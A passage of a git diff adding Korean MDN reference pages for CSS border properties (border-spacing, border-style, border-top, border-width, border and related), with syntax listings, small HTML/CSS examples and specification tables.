{{cssxref("border-right-width")}}.
+
<br-style>
+
{{cssxref("border-right-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-right-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  오른쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-right: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-right-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-right', 'border-right')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right")}}

diff --git a/files/ko/web/css/border-spacing/index.html b/files/ko/web/css/border-spacing/index.html new file mode 100644 index 0000000000..23e0e42018 --- /dev/null +++ b/files/ko/web/css/border-spacing/index.html @@ -0,0 +1,131 @@ +--- +title: border-spacing +slug: Web/CSS/border-spacing +tags: + - CSS + - CSS Property + - CSS Tables + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-spacing +--- +
{{CSSRef}}
+ +

CSS border-spacing 속성은 인접한 표 칸의 테두리 간격을 지정합니다. {{cssxref("border-collapse")}}가 separate여야 적용됩니다.

+ +
{{EmbedInteractiveExample("pages/css/border-spacing.html")}}
+ + + +

border-spacing 값은 표 전체의 테두리에도 적용되므로, 표 테두리와 첫 번째 및 마지막 행/열에 속하는 칸 사이 거리는 (가로/세로) border-spacing 값과 표에 적용한 (상/우/하/좌) {{cssxref("padding")}} 값의 합이 됩니다.

+ +
+

참고: border-spacing 속성은 {{htmlelement("table")}}에서 이제 사용하지 않는 cellspacing 특성에 대응하지만, 추가로 두 번째 값을 지정해 가로와 세로 값을 각각 설정할 수 있다는 차이점이 있습니다.

+
+ +

구문

+ +
/* <length> */
+border-spacing: 2px;
+
+/* 가로 <length> | 세로 <length> */
+border-spacing: 1cm 2em;
+
+/* 전역 값 */
+border-spacing: inherit;
+border-spacing: initial;
+border-spacing: unset;
+ +

border-spacing 값은 하나 또는 두 개의 값을 사용해 지정합니다.

+ +
    +
  • 한 개<length> 값을 지정하면 칸 사이의 가로와 세로 두 간격 모두 설정합니다.
  • +
  • 두 개의 <length> 값을 지정하면, 첫 번째 값은 칸 사이의 가로 간격(각 열의 간격), 두 번째 값은 칸 사이의 세로 간격(각 행의 간격)을 설정합니다.
  • +
+ +

+ +
+
{{cssxref("<length>")}}
+
간격의 크기로 지정할 길이입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

칸 간격과 안쪽 여백

+ +

다음 예제는 칸 사이에 세로 간격 0.5em과 가로 간격 1em을 배치합니다. 표의 테두리를 따라가면서, padding 값이 border-spacing과 어떻게 작용하는지 살펴보세요.

+ +

HTML

+ +
<table>
+  <tr>
+    <td>1</td><td>2</td><td>3</td>
+  </tr>
+  <tr>
+    <td>4</td><td>5</td><td>6</td>
+  </tr>
+  <tr>
+    <td>7</td><td>8</td><td>9</td>
+  </tr>
+</table>
+ +

CSS

+ +
table {
+  border-spacing: 1em 0.5em;
+  padding: 0 2em 1em 0;
+  border: 1px solid orange;
+}
+
+td {
+  width: 1.5em;
+  height: 1.5em;
+  background: #d2d2d2;
+  text-align: center;
+  vertical-align: middle;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', 400, 200) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'tables.html#separated-borders', 'border-spacing') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.border-spacing")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border-collapse")}}, {{cssxref("border-style")}}
  • +
  • border-spacing 속성은 {{htmlelement("table")}} HTML 요소의 외관을 수정합니다.
  • +
diff --git a/files/ko/web/css/border-style/index.html b/files/ko/web/css/border-style/index.html new file mode 100644 index 0000000000..70bf9b180d --- /dev/null +++ b/files/ko/web/css/border-style/index.html @@ -0,0 +1,241 @@ +--- +title: border-style +slug: Web/CSS/border-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-style +--- +
{{CSSRef}}
+ +

border-style CSS 단축 속성은 요소 테두리 네 면의 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-style.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-style: none;
+border-style: hidden;
+border-style: dotted;
+border-style: dashed;
+border-style: solid;
+border-style: double;
+border-style: groove;
+border-style: ridge;
+border-style: inset;
+border-style: outset;
+
+/* 세로방향 | 가로방향 */
+border-style: dotted solid;
+
+/* 위 | 가로방향 | 아래 */
+border-style: hidden double dashed;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-style: none solid dotted dashed;
+
+/* 전역 값 */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+
+ +

border-style 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 테두리 스타일을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 스타일을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 스타일을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 스타일을 지정합니다. (시계방향)
  • +
+ +

각각의 값은 아래 목록 중 하나로 지정합니다.

+ +

+ +
+
<line-style>
+
테두리의 스타일을 설명합니다. 다음 표의 값을 사용할 수 있습니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
none +
 
+
hidden 키워드와 마찬가지로 테두리를 표시하지 않습니다. {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 0이 됩니다. 표에서, 칸의 테두리 상쇄 시 none은 제일 낮은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가진다면 테두리를 그립니다.
hidden +
 
+
none 키워드와 마찬가지로 테두리를 표시하지 않습니다. Unless a {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 0이 됩니다. 표에서, 칸의 테두리 상쇄 시 hidden은 제일 높은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가지더라도 그리지 않습니다.
dotted +
 
+
테두리를 둥근 점 여러개로 그립니다. 점 간격은 명세에서 지정하지 않으며 구현마다 다릅니다. 점의 반지름은 해당 면 {{cssxref("border-width")}}의 절반입니다.
dashed +
 
+
테두리를 직사각형 여러개로 그립니다. 사각형의 크기와 길이는 명세에서 지정하지 않으며 구현마다 다릅니다.
solid +
 
+
테두리를 하나의 직선으로 그립니다.
double +
 
+
테두리를 두 개의 평행한 직선으로 그립니다.
groove +
 
+
테두리가 파인 것처럼 그립니다.ridge의 반대입니다.
ridge +
 
+
테두리가 튀어나온 것처럼 그립니다. groove의 반대입니다.
inset +
 
+
요소가 파인 것처럼 테두리를 그립니다.outset의 반대입니다. {{cssxref("border-collapse")}}가 collapsed인 칸에서는 groove와 동일합니다.
outset +
 
+
+

요소가 튀어나온 것처럼 그립니다. inset의 반대입니다. {{cssxref("border-collapse")}}가 collapsed인 칸에서는 ridge와 동일합니다.

+
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

속성 값의 예시 표

+ +

가능한 모든 값을 나열한 표입니다.

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* 테이블 스타일 */
+table {
+  border-width: 3px;
+  background-color: #52E396;
+}
+tr, td {
+  padding: 2px;
+}
+
+/* border-style 예제 클래스 */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}
+ +

결과

+ +

{{EmbedLiveSample('속성_값의_예시_표', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-style', 'border-style')}}{{Spec2('CSS3 Backgrounds')}}No change.
{{SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style')}}{{Spec2('CSS2.1')}}Adds hidden keyword value.
{{SpecName('CSS1', '#border-style', 'border-style')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-width")}}, {{Cssxref("border-color")}}, {{Cssxref("border-radius")}}
  • +
diff --git a/files/ko/web/css/border-top-color/index.html b/files/ko/web/css/border-top-color/index.html new file mode 100644 index 0000000000..9212f447e2 --- /dev/null +++ b/files/ko/web/css/border-top-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-top-color +slug: Web/CSS/border-top-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-top-color +--- +
{{CSSRef}}
+ +

border-top-color CSS 속성은 요소의 위쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-top")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* 전역 값 */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+
+ +

border-top-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
위쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-top-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-top-color', 'border-top-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-top-width")}}.
  • +
diff --git a/files/ko/web/css/border-top-style/index.html b/files/ko/web/css/border-top-style/index.html new file mode 100644 index 0000000000..38262fffc3 --- /dev/null +++ b/files/ko/web/css/border-top-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-top-style +slug: Web/CSS/border-top-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-top-style +--- +
{{CSSRef}}
+ +

border-top-style CSS 속성은 요소 테두리의 위쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* 전역 값 */
+border-top-style: inherit;
+border-top-style: initial;
+border-top-style: unset;
+
+ +

border-top-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-top-style example classes */
+.b1 {border-top-style: none;}
+.b2 {border-top-style: hidden;}
+.b3 {border-top-style: dotted;}
+.b4 {border-top-style: dashed;}
+.b5 {border-top-style: solid;}
+.b6 {border-top-style: double;}
+.b7 {border-top-style: groove;}
+.b8 {border-top-style: ridge;}
+.b9 {border-top-style: inset;}
+.b10 {border-top-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-top-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-top-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{cssxref("border-top")}}, {{cssxref("border-top-color")}}, {{cssxref("border-top-width")}}.
  • +
diff --git a/files/ko/web/css/border-top-width/index.html b/files/ko/web/css/border-top-width/index.html new file mode 100644 index 0000000000..caa05e40cc --- /dev/null +++ b/files/ko/web/css/border-top-width/index.html @@ -0,0 +1,148 @@ +--- +title: border-top-width +slug: Web/CSS/border-top-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-top-width +--- +
{{CSSRef}}
+ +

CSS border-top-width 속성은 요소의 위쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-width.html")}}
+ + + +

구문

+ +
/* 키워드 값*/
+border-top-width: thin;
+border-top-width: medium;
+border-top-width: thick;
+
+/* <length> 값 */
+border-top-width: 10em;
+border-top-width: 3vmax;
+border-top-width: 6px;
+
+/* 전역 값 */
+border-top-width: inherit;
+border-top-width: initial;
+border-top-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
넓은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-top-width: thick;
+}
+div:nth-child(2) {
+  border-top-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-top-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-top-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-top-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-top")}}, {{Cssxref("border-top-style")}}, and {{Cssxref("border-top-color")}}.
  • +
diff --git a/files/ko/web/css/border-top/index.html b/files/ko/web/css/border-top/index.html new file mode 100644 index 0000000000..53b254c317 --- /dev/null +++ b/files/ko/web/css/border-top/index.html @@ -0,0 +1,109 @@ +--- +title: border-top +slug: Web/CSS/border-top +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-top +--- +
{{CSSRef}}
+ +

border-top CSS 단축 속성은 요소의 위쪽 테두리를 설정합니다. {{cssxref("border-top-width")}}, {{cssxref("border-top-style")}}, {{cssxref("border-top-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-top는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-top-style: dotted;
+border-top: thick green;
+
+ +
border-top-style: dotted;
+border-top: none thick green;
+
+ +

따라서 border-top보다 먼저 지정한 {{cssxref("border-top-style")}}의 값은 무시됩니다. {{cssxref("border-top-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+
+ +

border-top은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-top-width")}}.
+
<br-style>
+
{{cssxref("border-top-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-top-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  위쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-top: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-top', 'border-top')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top")}}

diff --git a/files/ko/web/css/border-width/index.html b/files/ko/web/css/border-width/index.html new file mode 100644 index 0000000000..f41c188740 --- /dev/null +++ b/files/ko/web/css/border-width/index.html @@ -0,0 +1,194 @@ +--- +title: border-width +slug: Web/CSS/border-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border-width +--- +
{{CSSRef}}
+ +

CSS border-width 단축 속성은 요소 네 면 테두리의 너비를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-width.html")}}
+ + + +

구성 속성

+ +

border-width는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("border-bottom-width")}}
  • +
  • {{cssxref("border-left-width")}}
  • +
  • {{cssxref("border-right-width")}}
  • +
  • {{cssxref("border-top-width")}}
  • +
+ +

구문

+ +
/* 키워드 값 */
+border-width: thin;
+border-width: medium;
+border-width: thick;
+
+/* <length> 값 */
+border-width: 4px;
+border-width: 1.2rem;
+
+/* 세로방향 | 가로방향 */
+border-width: 2px 1.5em;
+
+/* 위 | 가로방향 | 아래 */
+border-width: 1px 2em 1.5cm;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-width: 1px 2em 0 4rem;
+
+/* 전역 키워드 */
+border-width: inherit;
+border-width: initial;
+border-width: unset;
+
+ +

border-width 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값은 네 면 모두의 테두리 너비를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 너비를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 너비를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 너비를 지정합니다. (시계방향)
  • +
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

서로 다른 값의 조합

+ +

HTML

+ +
<p id="sval">
+    한 개의 값: 모든 네 면이 6px 테두리</p>
+<p id="bival">
+    두 개의 다른 값: 위아래에 2px 테두리, 좌우에 10px 테두리</p>
+<p id="treval">
+    세 개의 다른 값: 위에 0.3em, 아래에 9px, 좌우에 0</p>
+<p id="fourval">
+    네 개의 다른 값: "얇은" 위, "중간" 오른쪽, "두꺼운" 아래, 왼쪽 1em</p>
+ +

CSS

+ +
#sval {
+  border: ridge #ccc;
+  border-width: 6px;
+}
+#bival {
+  border: solid red;
+  border-width: 2px 10px;
+}
+#treval {
+  border: dotted orange;
+  border-width: 0.3em 0 9px;
+}
+#fourval {
+  border: solid lightgreen;
+  border-width: thin medium thick 1em;
+}
+p {
+  width: auto;
+  margin: 0.25em;
+  padding: 0.25em;
+}
+ +

결과

+ +

{{ EmbedLiveSample('서로_다른_값의_조합', 320, 320) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}{{Spec2('CSS3 Backgrounds')}}No direct change; the {{cssxref("<length>")}} CSS data type extension has an effect on this property.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}{{Spec2('CSS2.1')}}Added the constraint that values' meaning must be constant inside a document.
{{SpecName('CSS1', '#border-width', 'border-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}
  • +
  • 테두리 너비 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}
  • +
diff --git a/files/ko/web/css/border/index.html b/files/ko/web/css/border/index.html new file mode 100644 index 0000000000..405ccfb05c --- /dev/null +++ b/files/ko/web/css/border/index.html @@ -0,0 +1,151 @@ +--- +title: border +slug: Web/CSS/border +tags: + - CSS + - CSS Borders + - CSS Property + - Layout + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border +--- +
{{CSSRef("CSS Borders")}}
+ +

CSS border 단축 속성은 요소의 테두리를 설정합니다. {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}의 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border.html")}}
+ + + +

구성 속성

+ +

border는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("border-color")}}
  • +
  • {{cssxref("border-style")}}
  • +
  • {{cssxref("border-width")}}
  • +
+ +

구문

+ +
/* 스타일 */
+border: solid;
+
+/* 너비 | 스타일 */
+border: 2px dotted;
+
+/* 스타일 | 색 */
+border: outset #f33;
+
+/* 너비 | 스타일 | 색 */
+border: medium dashed green;
+
+/* 전역 값 */
+border: inherit;
+border: initial;
+border: unset;
+
+ +

border 속성은 다음의 값 중 한 개에서 세 개를 선택해서 지정할 수 있습니다. 순서는 영향을 주지 않습니다.

+ +
+

참고: 스타일을 지정하지 않으면 기본값인 none이 사용돼 테두리가 보이지 않습니다.

+
+ +

+ +
+
<line-width>
+
테두리의 굵기로 기본값은 medium입니다. {{Cssxref("border-width")}}를 참고하세요.
+
<line-style>
+
테두리의 스타일로 기본값은 none입니다. {{Cssxref("border-style")}}을 참고하세요.
+
{{cssxref("<color>")}}
+
테두리의 색상으로 기본값은 currentcolor입니다. {{Cssxref("border-color")}}를 참고하세요.
+
+ +

설명

+ +

다른 단축 속성과 마찬가지로, 생략한 속성은 초깃값으로 설정됩니다. 한 가지 중요한 점은, border를 사용해서는 {{cssxref("border-image")}}에 원하는 값을 지정할 수는 없고 대신 초깃값인 none이 자동으로 설정됩니다.

+ +

border 단축 속성은 요소의 테두리를 모두 동일하게 설정하고 싶을 때 특히 유용합니다. 그러나 서로의 테두리를 다르게 하고 싶다면 네 면을 각각 설정할 수 있는 본디 속성 {{Cssxref("border-width")}}, {{Cssxref("border-style")}},{{Cssxref("border-color")}}를 사용하면 됩니다. 아니면 한 면의 테두리를 절대 기준({{Cssxref("border-top")}} 등)이나 상대 기준({{Cssxref("border-block-start")}} 등) 속성을 사용해서 따로 정해줄 수도 있습니다.

+ +

테두리 vs외곽선

+ +

테두리와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.

+ +
    +
  • 외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.
  • +
  • 명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.
  • +
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

튀어나오는 듯한 분홍색 테두리 추가하기

+ +

HTML

+ +
<div>테두리와 외곽선에 더해 그림자까지, 정말 멋지지 않나요?</div>
+
+ +

CSS

+ +
div {
+  border: 0.5rem outset pink;
+  outline: 0.5rem solid khaki;
+  box-shadow: 0 0 0 2rem skyblue;
+  border-radius: 12px;
+  font: bold 1rem sans-serif;
+  margin: 2rem;
+  padding: 1rem;
+  outline-offset: 0.5rem;
+}
+ +

결과

+ +

{{EmbedLiveSample('튀어나오는_듯한_분홍색_테두리_추가하기')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}{{Spec2('CSS3 Backgrounds')}}Removes specific support for transparent, as it is now a valid {{cssxref("<color>")}}; this has no practical impact.
+ Though it cannot be set to a custom value using the shorthand, border now resets {{cssxref("border-image")}} to its initial value (none).
{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}{{Spec2('CSS2.1')}}Accepts the inherit keyword. Also accepts transparent as a valid color.
{{SpecName('CSS1', '#border', 'border')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border")}}

diff --git a/files/ko/web/css/box-shadow/index.html b/files/ko/web/css/box-shadow/index.html new file mode 100644 index 0000000000..a040af6e5e --- /dev/null +++ b/files/ko/web/css/box-shadow/index.html @@ -0,0 +1,126 @@ +--- +title: box-shadow +slug: Web/CSS/box-shadow +tags: + - CSS + - CSS Property + - CSS Styles + - Reference +translation_of: Web/CSS/box-shadow +--- +
{{ CSSRef }}
+ +

